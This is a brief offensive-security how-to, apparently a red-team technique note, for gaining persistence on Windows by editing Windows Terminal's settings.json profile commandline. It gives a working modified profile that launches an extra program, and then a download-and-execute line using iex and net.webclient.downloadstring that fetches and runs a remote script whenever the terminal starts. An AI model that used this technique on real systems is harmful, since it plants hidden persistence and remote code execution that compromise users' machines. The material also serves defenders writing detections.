It’s possible to achieve persistence in Windows Terminal by modifying settings.json under the currently logged in user directory.

Get-Content $env:USERPROFILE\AppData\Local\Packages\Microsoft.WindowsTerminal_*\LocalState\settings.json

{
// Make changes here to the powershell.exe profile.
"guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
"name": "Windows PowerShell",
"commandline": "powershell.exe",
"hidden": false
},
{
// Make changes here to the cmd.exe profile.
"guid": "{0caa0dad-35be-5f56-a8ff-afceeeaa6101}",
"name": "Command Prompt",
"commandline": "cmd.exe",
"hidden": false
},
{
"guid": "{b453ae62-4e3d-5e58-b989-0a998ec441b8}",
"hidden": false,
"name": "Azure Cloud Shell",
"source": "Windows.Terminal.Azure"
}

Just replace the commandline value with the desired program and arguments.

{
"guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
"name": "Windows PowerShell",
"commandline": "powershell.exe calc; powershell.exe",
"hidden": false
}

Or load from a remote location.

{
"commandline": "powershell.exe iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/crimsonlabs-io/Cache/main/scripts/calc.txt'); powershell.exe",
}

windows-terminal-persistence